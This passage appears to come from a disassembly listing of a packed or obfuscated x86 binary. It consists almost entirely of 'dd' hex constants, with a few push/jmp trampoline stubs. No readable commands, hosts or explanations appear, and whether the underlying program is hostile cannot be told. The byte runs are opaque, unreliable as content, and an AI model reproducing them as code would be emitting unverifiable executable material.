7113215h, 827258C6h, 8221FF59h dd 0E02DE82Eh, 6611335Ch, 0DD705275h, 558738B7h, 60AC3D74h dd 69113215h, 6688329Ah, 0D3CD5315h, 61CB0704h, 6610B41Ah dd 0ED713215h, 975C7688h, 67AE3D12h, 93113215h, 6AAC5E94h dd 728562E7h, 6A066E14h, 36E38A45h, 228926D4h, 8F1C2231h dd 66223204h, 0B257FD01h, 0AD5BC2B7h, 5FCF08ACh, 808BD75Ch dd 600BDB8Dh, 76613215h, 9F443215h, 9EE790C6h, 4A35E4h dd 0D976A3B1h, 992CD193h, 0E77D1621h, 661136D1h, 0E34FC715h dd 61AD02D0h, 66223214h, 661123FCh, 2073EF15h, 5D0BEF1Dh dd 0B53CE607h, 32348E0Ch, 69E8B85Ch, 0ED22E0A2h, 52DD53D7h dd 0A2906931h, 66883211h, 4DA5B375h, 8F452086h, 6611321Eh dd 137C4964h, 0A2FA9FCEh, 7C3C529h, 34353E9Eh, 0A409D09Ch dd 66443211h, 0E126F096h, 64D1601h, 8FFDC695h, 66443207h dd 828B29Ah, 9068057Fh, 349B9D57h, 16815871h, 0ED43A45Fh dd 0EF401621h, 6249B3F4h, 0E7443215h, 662236D4h, 421DB515h dd 6F605249h, 0D1443215h, 86A0E245h, 5639B58Fh, 3F5E8D1Ah dd 62A8B374h, 0EF223215h, 87981619h, 668CF394h, 0A7C73215h dd 422EB511h, 0D9775249h, 8FE9B24Dh, 99BBE16Dh, 3F9FB1ECh dd 6716DB1Ah, 63AEB61Ah, 69B13215h, 66223193h, 7E95215h dd 4C99AF3Eh, 0EDB835FCh, 8F042F98h, 0DD775212h, 0E7875263h dd 66443213h, 61AADC94h, 0E77053A8h, 0EB8413FCh, 0ADADB31Ah dd 67191E44h, 0ADD0B3CCh, 0E7B31E44h, 0EB4813D4h, 662BDB1Ah dd 0D29D3215h, 622625A8h, 0E79D7F4Eh, 0C27393D4h, 8AF8B304h dd 4FA87B42h, 8A85B3ECh, 0E7027B42h, 0C24093FCh, 61083D04h dd 69443215h, 66223398h, 8A92CA15h, 428CBB11h, 664437ADh dd 3EE31B15h, 8FA661EDh, 7A03CA9Dh, 6280B131h, 969D3D75h dd 6602DB74h, 3C243215h, 0F0891D06h, 42339E8Eh, 6CE9EADEh dd 0EE95EFE3h, 0EA4B9878h, 6622321Fh, 669D3D75h, 6883215h dd 0E24B5374h, 66223214h, 57D903ECh, 64003D4h, 92B973h dd 0A23EEC94h, 0EA1E9974h, 6688321Dh, 6646B61Ah, 7423215h dd 6615DE94h, 4A013215h, 0E7A1BB31h, 662236D0h, 62D4B115h dd 3AAC1E92h, 664434FCh, 8F10D015h, 62994BBh, 668838FCh dd 0AB277D15h, 2075DF17h, 0E75D7139h, 398A8CBh, 7ACF5352h dd 83AB6731h, 6615F794h, 0A3093215h, 66443211h, 3A061E92h dd 660AB31Ah, 0E7E83215h, 2F6106F3h, 662FDA3Fh, 47473215h dd 7AE71FF1h, 0A146DD29h, 39231BFCh, 421DB974h, 0E76EBB43h dd 664436D3h, 62E4B115h, 3A350692h, 0BC095475h, 9F24BBE5h dd 6622BF1Ah, 7703215h, 38AC06EAh, 6640F694h, 68CB3215h dd 0E0113215h, 9C2EA2F0h, 0C32DFF3Dh, 944CF074h, 0EF43CAE6h dd 624AB3F7h, 36443215h, 662236ADh, 3ED33315h, 3AAC2692h dd 0B376DBE0h, 0A1DBCDEAh, 97097690h, 66883012h, 9DCF5215h dd 662239FCh, 0DEACF515h, 0F8ECF44Bh, 0BFAE3164h, 9DA95274h dd 0B1068D73h, 7BF5A74h, 52CD3215h, 6ECB6931h, 0D113215h dd 1F3AF6B1h, 692FA3CEh, 6622339Bh, 0D01ECB15h, 6A023D1Bh dd 69443215h, 6622349Fh, 66973D15h, 0E6883215h, 0E54BB2ECh dd 66223244h, 4FAF64E9h, 67EC9F4Bh, 0AD456CE6h, 380BD994h dd 7156B8h, 1622E294h, 664437FCh, 6062BE15h, 3770FB3Dh dd 0D29591ACh, 0E7057B43h, 0D23F90FCh, 3FDA3343h, 0E648B275h dd 7BC851Ah, 662287FCh, 0E11E5215h, 66883216h, 0DC96851Ah dd 7D6586E1h, 28A56274h, 0E698D695h, 0A2BAFBD1h, 53916173h dd 3D77EE15h, 6D0D33Dh, 8E93851Ah, 66223205h, 8FBDA18Eh dd 0A4232045h, 2D7A3975h, 1064E3A0h, 0D96CF294h, 7D73E83h dd 6644327Dh, 420EB315h, 16F37AFFh, 0E7AC3E3Ch, 2EAE1611h dd 8F7B42F7h, 66113219h, 0F64836C8h, 0B5A76D9Eh, 940D2059h dd 7F0B8D42h, 0B97F54EAh, 0B1B3EDE2h, 0CEE5B352h, 0E7559B7Ch dd 0BA8A13E2h, 3683B3CEh, 47DBBBBBh, 0EA1E6DECh, 66883213h dd 73FF5475h, 0A5A3537Ch, 250B4795h, 0DFD9F93Ch, 255E4795h dd 697BF93Ch, 66113396h, 0E303CE15h, 61AD1804h, 662235FCh dd 0AD7A0A15h, 1057B04h, 7DF9A79Eh, 8FDE35FCh, 99EEC933h dd 6689B01Ah, 0A1B13215h, 973A7690h, 66113012h, 6684DB15h dd 703D3215h, 0A3B7404Ch, 785284C4h, 69E86A55h, 7BDC8A2h dd 0EF26DE96h, 694A1621h, 6688359Ch, 39175215h, 777F495h dd 9A1F841Ah, 6908CB95h, 6644B196h, 8DA3CA15h, 161C2A54h dd 0DFD9F914h, 48191BFAh, 8FA37B5Ch, 3282262Ah, 8F49EBE2h dd 6FADB316h, 67B68BB0h, 69E96BDEh, 66882B92h, 6650DB15h dd 46C53215h, 0CA0BCECAh, 59F7EE13h, 0FF4BB96h, 7523B977h dd 0DF40C8C9h, 9977CDEAh, 691DF93Ch, 66223E98h, 6616DB15h dd 0F4623215h, 553E1289h, 6DCB52AEh, 0A7113215h, 92E8F7CFh dd 0BCFF1A4Dh, 0BDA26672h, 0C7F85393h, 6883215h, 838D1Ah dd 76AABABh, 6613DE94h, 0EFEE3215h, 99F21601h, 3C44C33Dh dd 66113DFCh, 21703915h, 7E33E6E4h, 0FA71E0AFh, 15B1BB06h dd 6688327Dh, 4268B315h, 4BC81ED5h, 0E7353E3Ch, 4A481611h dd 9F1D1FFFh, 9255A47h, 0E74B6895h, 0DC4C5F7h, 6EAEB366h dd 4770325Eh, 75F868C4h, 6F883215h, 131ED49Eh, 75C40074h dd 0B258A42Eh, 30C534DAh, 0A5C56AA9h, 3DFD64C8h, 37EDD994h dd 0ADA155EBh, 37B8F194h, 8DA355EBh, 3DCE64C8h, 66883CFCh dd 55F5B515h, 3EF676ADh, 0AE44BD1Dh, 9F694359h, 4C55B79Eh dd 0E12D35FCh, 66113214h, 0F303C7E9h, 61AD29A8h, 3F9FB1ECh dd 6716DB1Ah, 91D1B61Ah, 8E24CDEAh, 66223204h, 49BE9CC5h dd 1D396D3Ch, 817B3121h, 0A4866B05h, 66923D46h, 38883215h dd 699C0974h, 66227697h, 661FDB15h, 61EB3215h, 6A27F238h dd 0B0B39E0Eh, 0B6AADCAAh, 0E087E12Ch, 99BBDC1Fh, 662FDA75h dd 89D33215h, 0AA91F17Dh, 492B0417h, 0E7C6C57Ch, 0D88E44D6h dd 0E7E86A4Dh, 0B88405D3h, 0ECFCB363h, 7693391h, 67336174h dd 4F443215h, 9EDE69CBh, 6615DE94h, 52013215h, 9EBC6B31h dd 79918946h, 8D906019h, 8C2312Ah, 9146D1D4h, 0E7E9B3CEh dd 0E7798C71h, 43ADDCF6h, 0EB87B353h, 4FD1673Eh, 9F3869CCh dd 36A5F394h, 77AD016Fh dd 0D5223215h, 644D1FBEh, 0D76F6433h, 3967E06h, 0AA5F50A6h dd 84A55275h, 6688B71Ah, 8F253215h, 6622321Fh, 60C85295h dd 0FB74AAB2h, 0E525A237h, 4AAB36F9h, 66148F31h, 8FA13215h dd 0D416C748h, 0B1AA61FCh, 3C4ACA9Dh, 6681BC1Ah, 243215h dd 3C6AE394h, 0CC706A46h, 66883CFCh, 0A415E915h, 0B094D8EBh dd 0A7BCB693h, 6905C182h, 6644359Ah, 67AC3D15h, 9F113215h dd 748B5A45h, 6ACD3215h, 9F7B6A31h, 6603BD1Ah, 8FE83215h dd 66443210h, 77A9E017h, 669C3D9Ch, 7883215h, 87ADCEBEh dd 6DDCDC5h, 66113BFCh, 505E9415h, 0CE51EC0Eh, 3743B055h dd 661132ACh, 0C649B315h, 67519039h, 0C6CBB3E4h, 0EC049039h dd 63616B14h, 0DD443215h, 8097FC37h, 0E21EDA29h, 66883271h dd 6655DA75h, 0DC7F3215h, 40DEC6B0h, 0F7F6BB0Ch, 0C2022D25h dd 3EDB1B64h, 70DE595h, 7E818946h, 95C522BDh, 768A2A1Ch dd 7A9AEA9Ch, 624CB131h, 67FBDBE9h, 0E72D3215h, 66113207h dd 66883FFCh, 82255D15h, 6D6FA78h, 3C1FD518h, 77617B18h dd 99443215h, 0B8FAB399h, 9A355621h, 0F46CB2FCh, 36D292D3h dd 0E7C4BB43h, 661136D3h, 6266B115h, 3A600692h, 8F062E9Ch dd 66113212h, 7DE79098h, 6C7F3B4h, 77CBF19Eh, 5F113215h dd 5DA851E1h, 121AC4F8h, 454D880Ah, 61E7D601h, 6264B374h dd 0EF443215h, 52A31621h, 2245B631h, 9509694Ch, 3F006691h dd 6633B21Ah, 8F713215h, 6688321Fh, 1633AEC2h, 98727739h dd 0E7703A7Dh, 668836F9h, 4248BB15h, 662233ACh, 65E03315h dd 0D3E86B0Ch, 0E498C40h, 304310EAh, 6611377Dh, 95896C15h dd 6654DB4Bh, 582B3215h, 4925C5ACh, 0BA8DFAB1h, 0E16D15B1h dd 60CBF024h, 13113215h, 0EE375263h, 8EF7612Ah, 0EEFCBA47h dd 9A4A68E5h, 670A3DBFh, 93443215h, 5324F194h, 0A5900AD7h dd 2E276594h, 8DC5C93Ch, 2E8D6594h, 5317D994h, 0E1870AD7h dd 6644321Fh, 0D2FAB375h, 317E1702h, 34DD534Fh, 664436AFh dd 3CF7BB15h, 64CD93Ch, 0D06D8C73h, 664423FCh, 0D14C3315h dd 0EF6317FFh, 0DB568194h, 0DD78DA1Ch, 5743F8ABh, 57D203CDh dd 668FDBCDh, 9E703215h, 0FDA95E33h, 0E31E9916h, 66883218h dd 66443AFCh, 0EE7EE115h, 0FA6B2947h, 4294B99Dh, 63A4BB45h dd 66223211h, 66113610h, 428CB515h, 0A9C55249h, 50ADD79Dh dd 3570EA9Eh, 668837AEh, 0ED9A3315h, 0A2A31609h, 66113211h dd 6689B71Ah, 37B13215h, 600EAF7Dh, 0E7506B78h, 2ECB75F4h dd 9DF96713h, 67D9CDEAh, 0AE986FFCh, 6D8524Ch, 0B0CF6974h dd 6ACBF174h, 8E113215h, 67E54D8Fh, 45A6788h, 0E04E6AFh dd 661130E3h, 69AC3E9Ch, 66443A98h, 64AC3D15h, 6113215h dd 66326074h, 0E7443215h, 777B78FFh, 0E7E33313h, 77D178D7h dd 64CF5413h, 73A83D4Fh, 6113215h, 668839FDh, 67C27F15h dd 4727C5D5h, 0D98AA52Ch, 7FF864Fh, 0E24BF129h, 66223378h dd 6610B21Ah, 9F703215h, 0E24BF929h, 66223348h, 66113EFCh dd 0CC958515h, 0D40EF669h, 5E0A6DAh, 69D30E83h, 66894A91h dd 0E6245215h, 0E62D81E7h, 66113215h, 0ACB45374h, 6727B61Ah dd 8F423215h, 6611321Bh, 3D0BC389h, 6BEAECE7h, 9B157C40h dd 60F80454h, 0B883215h, 0DE482036h, 5B4453E2h, 0E21E17EAh dd 66883379h, 358DB375h, 0D3783C8Fh, 6CF85331h, 80883215h dd 0D7BC3709h, 0AE24D2ABh, 482C54D2h, 1C0D3DEAh, 6443215h dd 6BCB61E0h, 98113215h, 113A3025h, 19CEF823h, 75E60188h dd 771534Ah, 76E06446h, 380D481Ch, 90D0F494h, 95988490h dd 0EC7B334Bh, 0E14B6916h, 6622321Ah, 661138FCh, 0E8267315h dd 721D1284h, 35BB3FBFh, 0D641CEA6h, 6260F25Dh, 0C668FAEBh dd 0A5225D39h, 3DC9124Dh, 6684B61Ah, 0EA4B3215h, 66223213h dd 6611B81Ah, 0D6E83215h, 78B87DDh, 0E22D9229h, 66113305h dd 42BCCDECh, 6280B34Ch, 6223215h, 63378A73h, 668826FCh dd 972FDC15h, 6B7A8D25h, 9233ABDAh, 0C0770487h, 0F0AA522Ah dd 0D8745353h, 27E449FDh, 4BD6C29Ch, 27B149FDh, 662234FCh dd 66D83915h, 8FC9CAA0h, 664433BDh, 662DDB75h, 40BD3215h dd 6B825B3Dh, 68947E6Ch, 548881B8h, 6614DB34h, 0C1963215h dd 70A7BF5h, 8FEB03EDh, 66113218h, 6CEBA4D0h, 0C1E06EDAh dd 67F837C3h, 5751A3D9h, 574003D4h, 6643DBD4h, 0D2ED3215h dd 5B3AAB23h, 6614DBF7h, 0E14B3215h, 66223214h, 27CF8BEDh dd 970933A5h, 480F793Ah, 0A69D394h, 0DE417363h, 71A34498h dd 0E71CF324h, 3F5CFBFCh, 69475203h, 7D0E5A2h, 66445BFCh dd 67AC3D15h, 9F113215h, 62F05A45h, 631C0646h, 489468DAh dd 6315DAD4h, 9F475807h, 62CFF39Ch, 62E6B331h, 8F113215h dd 6688321Fh, 5126C7h, 269683DBh, 49F8078Bh, 6883215h dd 0AFB343h, 3E0884EEh, 7C0B973h, 0D0C8946h, 0A5C70B34h dd 91F1C5EAh, 0E5E2B3CEh, 0EFB1137Eh, 0E84B69CCh, 66223213h dd 0D4705275h, 0C27B534Fh, 66443DFCh, 0E1B4F315h, 0E2E7D141h dd 0F03F0888h, 19AC8078h, 0DBAFB9E9h, 616DB0Eh, 64E851Ah dd 66443CFCh, 0A3AF5515h, 0C8EE5C0Ch, 606F6749h, 6973D200h dd 743E5AAh, 0E31EFB90h, 6688320Bh, 664EB61Ah, 63CB3215h dd 0BF113215h, 9A109513h, 6645BA1Ah, 0EFD73215h, 8F0A8FA0h dd 5277C712h, 0A2C56B31h, 66223211h, 6609B71Ah, 0E83215h dd 8F1FDBAAh, 66223218h, 53F74EB9h, 7F1493A9h, 0D68EA6E2h dd 0EA2D5335h, 66113214h, 93163EDh, 0E7470D31h, 0C811A5F4h dd 0BD0B306h, 918B606Eh, 65A5F3C4h, 0A7A3E3E2h, 0ADEA164Fh dd 8FD16A44h, 6644321Dh, 5F5E27DFh, 3F0B4131h, 0DCDACBD6h dd 66443215h, 0ED44C014h, 4205B917h, 668CF694h, 5ABC3215h dd 8EA63DD6h, 9F113214h, 0EE4DBA44h, 4248B9FEh, 6626F694h dd 93713215h, 34E913A2h, 9564C2A3h, 0E506269Eh, 0E41E36D1h dd 66883212h, 6645BB1Ah, 0E6DE3215h, 0E21E42EEh, 66883648h dd 6657DB75h, 319B3215h, 14DCE167h, 333751F4h, 2916662Dh dd 5890C193h, 39A8D39h, 5AE90827h, 0EAC03DFCh, 69223214h dd 66113396h, 8DB4C715h, 6739B61Ah, 0E82D3215h, 6611321Dh dd 668ABC1Ah, 7243215h, 0E22DF029h, 66113372h, 66883FFCh dd 0B6941C15h, 0CF572017h, 2C76C243h, 0ADB484E6h, 6709B61Ah dd 8FD73215h, 66113201h, 0BE5E3201h, 56DA6708h, 383AA9F7h dd 9302DAB3h, 0B10728E4h, 43BB0F73h, 670BB61Ah, 713215h dd 5AE9F99Eh, 7AC03DDFh, 8F223214h, 66113204h, 0A14DE918h dd 9B4DEAF7h, 376D61E6h, 0DF9787FBh, 696B0E7Ah, 66479A91h dd 0DF445215h, 70E23Ch, 69771C28h, 66448590h, 77CB5215h dd 72113215h, 0CEA7BA5Ah, 0E117D96Fh, 7680869Eh, 97E7845Fh dd 6E9FD9Eh, 664426FCh, 0C2A3D215h, 4DA31C3Fh, 0C463B989h dd 919A1F38h, 5069B56h, 6603DA05h, 6F663215h, 7684B62Eh dd 0A22A35CDh, 761E86C3h, 0C0409DE4h, 71DEB9Eh, 66208B44h dd 97103215h, 66888847h, 0AC453215h, 3F78309Fh, 66113EFCh dd 0D04BB15h, 0D85A4B5Ah, 6CAB5F22h, 62FDB338h, 0EF883215h dd 5FF51619h, 0AFA2E3E3h, 63F0F2F7h, 0B77EF3EBh, 460ADB95h dd 8F426BDDh, 66113210h, 0F8A39625h, 0E7BD529Bh, 0ED150ED2h dd 5A705352h, 260C3DB5h, 9A443215h, 0DAE1B375h, 7445302h dd 2FD8D42h, 0B1B367DAh dd 2CCDD594h, 0A1903B0Ch, 9167C763h, 4270B342h, 60B85A57h dd 0E53074Dh, 69D7348Fh, 66443394h, 0E02DCA15h, 66113214h dd 66DBDBEDh, 0EFB83215h, 8F398FA0h, 63F8CE12h, 55883215h dd 44CA532Ch, 0B2C0AF98h, 0EE1E35FAh, 6688321Eh, 0C8A3B375h dd 7F5DC9h, 9970F09Eh, 0AE30CAC6h, 4B228312h, 17335D0Bh dd 1734E2E2h, 0A7A90E46h, 0DB1135F5h, 76039A6Ah, 64CDA3Ch dd 0DF5BB973h, 136924DAh, 35DAF174h, 0A590D19Ch, 66883211h dd 0E140D996h, 0EF7E1609h, 69E41611h, 6688239Eh, 6DCE3D15h dd 8F223215h, 66113213h, 0DD6F8252h, 10BBF46Eh, 420EB305h dd 53203640h, 0E7AC369Eh, 664436D1h, 62773715h, 0EFE40724h dd 8FA1C390h, 6641DB12h, 0B98C3215h, 8F697A6Fh, 6688321Fh dd 0DA6663AEh, 0DE7B1E71h, 52EEB62Fh, 0A2096A31h, 66443211h dd 6636DA75h, 0A7CF3215h, 0C5FB69B7h, 815BE5FBh, 5799A725h dd 8B610CBBh, 0E3877198h, 66443215h, 97A9544Ah, 7AA96274h dd 67883215h, 4240B9D3h, 6626F694h, 0E91E3215h, 66883205h dd 664439FCh, 33299F15h, 2BFFCB69h, 282B213Bh, 52018F98h dd 0EA2D35FCh, 6611321Bh, 66083D75h, 69443215h, 66223291h dd 6BC5315h, 66883EFCh, 249A8C15h, 7055A012h, 3FC960CAh dd 9F035489h, 5DC41F74h, 0FC0F1B31h, 65514B39h, 63AC1651h dd 263D1E8Fh, 4219B210h, 67923D3Ch, 93883215h, 6652B21Ah dd 0E02D3215h, 66113205h, 668839FCh, 0F3CAD815h, 47611DFCh dd 7878C69Ah, 67003DBEh, 9F443215h, 0DF9FBFECh, 9A16DB18h dd 70093DB8h, 8F443215h, 66223204h, 4D98953h, 7629DA21h dd 10930DA6h, 9DDF7307h, 54B21FB3h, 0ED8D7F5Dh, 650E9473h dd 4B061651h, 2CB7549Eh, 2EBA9110h, 68FE5258h, 72D50E5h dd 662C557Dh, 428CBB15h, 664FBA1Ah, 60CB3215h, 3C113215h dd 163A7773h, 0E14B9904h, 66223214h, 7BACBFEDh, 698FDB17h dd 66442792h, 69AE3D15h, 8F113215h, 6688321Fh, 57F9CB1h dd 8A7C2C8Ch, 6BCA3F8h, 668839FDh, 6575C415h, 0E76FA13Fh dd 1ABA669Ah, 4B96DC94h, 0D51C3362h, 252753AFh, 65190846h dd 30A01651h, 5C1771ABh, 38D21B1Dh, 661121FCh, 0C17FF15h dd 749C279Bh, 0FF1E5476h, 2A362314h, 1C878CB3h, 6650DBBEh dd 144E3215h, 965E5E3Fh, 90B1BC93h, 1967FA17h, 60817969h dd 0E6714ECCh, 0E876DEh, 0E7CBD294h, 74BF995h, 4225CD74h dd 624CB34Bh, 93443215h, 0EA2D52D6h, 66113217h, 6161B8A4h dd 3D443215h, 0E71AAAA6h, 697038D9h, 66883E93h, 60C43D15h dd 69223215h, 66113290h, 64DA5A15h, 52CD3215h, 0FBAFCA31h dd 61FEE60Fh, 0B9035475h, 6642B81Ah, 0EE2D3215h, 66113215h dd 695BCD74h, 66443B91h, 0E7445215h, 6C7E5F5h, 8F615374h dd 0F9FFCDE9h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B0C0D5F2h dd 96A5B51Ch, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 84F0CE25h dd 0DCF1427Ah, 0E5B8E532h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah dd 60D558DDh, 0BB38C882h, 462DA439h, 0C313DF07h, 0C6D55358h dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 5652D47Ch dd 0A4B0D9FBh, 0AEA5B518h, 0E96FDD7Bh, 51A25863h, 195FABA8h dd 0DCAA3075h, 0E5B85632h, 0CB2F168Dh, 12DAC619h, 142B9675h dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E9000030h dd 0Fh, 2F0D5D1Ah, 2 dup(0) dd 0E9000000h, 549h, 0A54828C3h, 1895E70Bh, 4DE09ABCh dd 0BC31B3E3h, 0F67FFD10h, 3CD1C166h, 0A1BB538h, 0A649EB8Ah dd 5FFD5FD6h, 0B3EF901Dh, 6C2DBEFEh, 46245628h, 44D6A04Ah dd 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh, 979E828Dh, 740AF908h dd 0C3BD5FF9h, 0BBC55763h, 0B1CB6F6Bh, 2DCC606Dh, 8E2751FBh dd 0C2730D22h, 2DBFC156h, 71AD9C90h, 54E179F3h, 4BCE2AB9h dd 0CF63CFDDh, 32129283h, 0D612BBDDh, 21AD3F41h, 3F826E0Eh dd 21FD7F9Dh, 5C206540h, 29D02430h, 318518E8h, 0A55684h dd 4A6C0000h, 35B0E0A0h, 0F771E4A4h, 0B94FDD58h, 0E000962Fh dd 0C175B315h, 4A4C3569h, 2F305C01h, 4D0517BFh, 760CD054h dd 0AB811CE0h, 0BCAAAEADh, 0F21EDA68h, 66368E4Bh, 1B08431h dd 12000000h, 8D4A64Ah, 72D2A84Ch, 0D9C84E46h, 305CC4D9h dd 0E9830DC2h, 8BA4F305h, 20BFBFCBh, 715675B1h, 0F51EC57Eh dd 0D6EE8E7Eh, 20A894BBh, 2D530AA8h, 52BA2074h, 0C19154D7h dd 32BE8BC8h, 685675B1h, 35405030h, 63365A41h, 6B8911BEh dd 5E9833Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 8A317417h dd 3FD525FAh, 96ADFDF5h, 22908576h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0F79E987Ch, 0FFA0720Dh, 0E983FE8Eh dd 8BA4F305h, 48BD8DDBh, 8D07F118h, 0F1A36A8Dh, 6644B807h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 810FF5F6h dd 12h, 0DE9h, 0DFFEB100h, 3FE8728Ah, 583492B2h, 0F609268h dd 1783h, 11E800h, 0A4820000h, 981707BDh, 169DC88Ch, 5A27BF65h dd 5979947Ch, 0D427C0BEh, 57506142h, 0B665A3BFh, 247C2970h dd 5585F04h, 70B665A3h, 14E9h, 0ACDC0D00h, 34C35560h, 2FE4FB4Bh dd 1D438B54h, 0B3AA3A1Eh, 0A5BD8339h, 7E918h, 0BD830975h dd 7E91A45h, 50197400h, 0B8C08B53h, 411h, 20F58589h, 9D8D07E9h dd 7EBD835h, 585BD3FFh, 1A45BD83h, 740007E9h, 0B8535017h dd 411h, 20F58589h, 9D8D07E9h, 7EBD4D6h, 585BD3FFh, 0D9BF0F60h dd 7E8h, 0A19B5100h, 0F95CF241h, 61596160h, 13E960h, 32CA0000h dd 0A38BF401h, 65117C6h, 0C805ACEFh, 7FB9769Ch, 0DE932h dd 96480000h, 495B5068h, 631A1D67h, 61F697EEh, 666968h dd 24048900h, 8A242C81h, 585C9E6Fh, 9E6F8A05h, 0D860F5Ch dd 0E9000000h, 8, 576EE177h, 8328F0D1h, 7E8F8h, 53C0000h dd 1873E2D8h, 0CA8166C6h, 0F5E785Dh, 0C681F8B7h, 6419h dd 98EEDF81h, 0DCBB302Ch, 8B000018h, 8136FFCAh, 9FA89AF7h dd 8B66584Dh, 60C081D3h, 813F636Ah, 1B93CAF0h, 0DA816674h dd 0F081CADCh, 65EDE3B4h, 14E96052h, 26000000h, 0D883D89h dd 15C9267Fh, 0DC6535F9h, 14D11384h, 0BBE88862h, 6E5BF13h dd 53505961h, 0B60B966h, 0FC068F59h, 3ECEE81h, 8B664147h dd 0E8C681C8h, 0E9414703h, 5, 77219BD1h, 850F4B5Fh, 0FFFFFF91h dd 0FE8h, 94145300h, 9E70B971h, 0EFAAAE25h, 66995B00h dd 0C03EC781h, 8D5A5A79h, 0F1A85B8Dh, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B11EB70h, 0E9266DBDh, 0D8D8907h, 8B07E932h, 0E902E9B5h dd 25958B07h, 0C707E90Bh, 0E922E585h, 6C1007h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0B185C7BFh, 7E922h, 80000000h, 0B5FF08D2h, 7E92045h dd 2C8DCB81h, 95FF2DE6h, 7E92285h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 6FC35646h, 0D189226Ch, 66F224B2h dd 6AF88Bh, 0C3195FFh, 0C08B07E9h, 0C05A7DEBh, 0DE9CB096h dd 7D86B150h, 3149CD88h, 1B335ACCh, 5AE75925h, 741FCBCh dd 3D27F86Bh, 531B7186h, 0B6DD39B7h, 2E1F48A7h, 0E941868Dh dd 2512D2D3h, 3A380BEAh, 77B0B704h, 0D94750A4h, 0EF7C0383h dd 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh dd 0C3393525h, 0EC10F4B8h, 75F39Fh, 0F24038A1h, 3AA24645h dd 0B6645E26h, 0D0B2E598h, 0CC8551B4h, 3CC484Eh, 0E94C5AD7h dd 20h, 7074D8F1h, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_60EB6B ; --------------------------------------------------------------------------- push 7F1A9F0h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1AA64h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1ABC9h jmp loc_58B97E ; --------------------------------------------------------------------------- db 6Fh db 0CCh db 0ACh, 1, 97h dd 0D874F983h, 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh dd 0EE6EA711h, 3A42D547h, 81F319BBh, 621F8BECh, 286B1C22h dd 4AEAD8F2h, 4D09D5A7h, 0D20CDAFh, 7BE375E2h, 0C22AA2Ah dd 96208672h, 0C109DCFFh, 816919EBh, 0B4C179C0h, 0F18B1937h dd 7FBBC155h, 0C2664223h, 0F61A2872h, 0E33A8A57h, 0D4B48C1Ah dd 0E000002h, 3A35B93Fh, 73661BADh, 4337B59Fh, 390CA561h dd 3054D38h, 7BCBB55Bh, 41EC8169h, 0EA4D44D6h, 0D2326711h dd 13494938h, 40312325h, 23251340h, 0E0C2D2D0h, 0E63E6408h dd 5970013h, 7DD7F48Ch, 54E6BC2Ah, 0C9156788h, 0ED697FBBh dd 14802D4Fh, 7EFD7406h, 5E26BF6Bh, 2E6D186h, 91BA0000h dd 4EE24EE7h, 117812Ch, 4A5AF67Fh, 668B25C8h, 28019F16h dd 5ED7A548h, 8C21A3F2h, 0C06D0F20h, 39B4C654h, 57574A54h dd 0B9286B1Ch, 0A0B3DD83h, 2008A537h, 0DCC73505h, 1EACCC63h dd 923AD4D2h, 9C26FE78h, 750FB554h, 0A7FD3849h, 1A1E7815h dd 267E2C07h, 0DD70DCCAh, 97BA169Fh, 4B6819E5h, 2F286AA9h dd 7DC6730Dh, 53346D9Ah, 2722C83h, 0D2E0000h, 0C256C273h dd 759B35B8h, 0D6CE6A0Bh, 0DA7FD954h, 9C9D13A2h, 0D263193Ch dd 0AD2F66h, 74F98394h, 0AD4032D8h, 0E3A3DEC8h, 2D286B1Ah dd 0A0B3A91Fh, 35442030h, 61F7B225h, 0CFF4DAD7h, 8E183849h dd 6ACF9313h, 6E237D28h, 286AD02Eh, 982EBCE6h, 0D001DD44h dd 5BE7286Ah, 0D19F61B2h, 9CDF8C22h, 0CF000001h, 0BA8AF207h dd 4AC2C028h, 700ED6A0h, 0C4EBABE6h, 7F25305Ch, 8BF507B3h dd 33A4B7EAh, 0AB89E899h, 6BF337B5h, 129283C7h, 0DAC8B47Ch dd 0AFE27C0Ah, 2873ABEFh, 0D6B78321h, 2873ABFAh, 1EBB62EEh dd 8C19F5A6h, 80F18Bh, 102873B4h, 5BE993A4h, 54429Fh, 0B3600000h dd 0F3EE30A0h, 0B2D6E067h, 81F08A1Ch, 305C4101h, 0FB4B35DBh dd 33FFA5E9h, 26FDFCB5h, 0D56F37B5h, 7325DCDCh, 826E3428h dd 0F004C0DEh, 7928BA8Ah, 28732639h, 0EB3BC9DBh, 73269E3Ah dd 18C44228h, 26BC80F2h, 0DA07A6CAh, 8C1A7EEAh, 9C04h dd 0A04A5E00h, 0AF420ED6h, 83933BCDh, 0D9F52901h, 0D1FD4133h dd 0CDB4393Bh, 305CBF8Fh, 0B83547D5h, 4BDD4AE5h, 0B0EBBD56h dd 0D5710B37h, 0D9EB3B41h, 70EAE8A8h, 0BE7A2828h, 9E46D0D2h dd 0DE77017Bh, 0CF3D9958h, 18E54D26h, 56E399BCh, 347473BBh dd 0D5205D9h, 83000001h, 0CB650868h, 7CD85527h, 0A30DA0DAh dd 0D07CF173h, 26B63F3Dh, 0F87C9101h, 4ACADB75h, 96E609ABh dd 0DD9FBD1Fh, 3E732F50h, 286B1A7Eh, 4A066496h, 0FC58D5A7h dd 2969185Eh, 0EB305CC5h, 32126A8Fh, 0E18C22B0h, 0D6A04AA1h dd 0CEA8420Eh, 40E10C27h, 6C76CEACh, 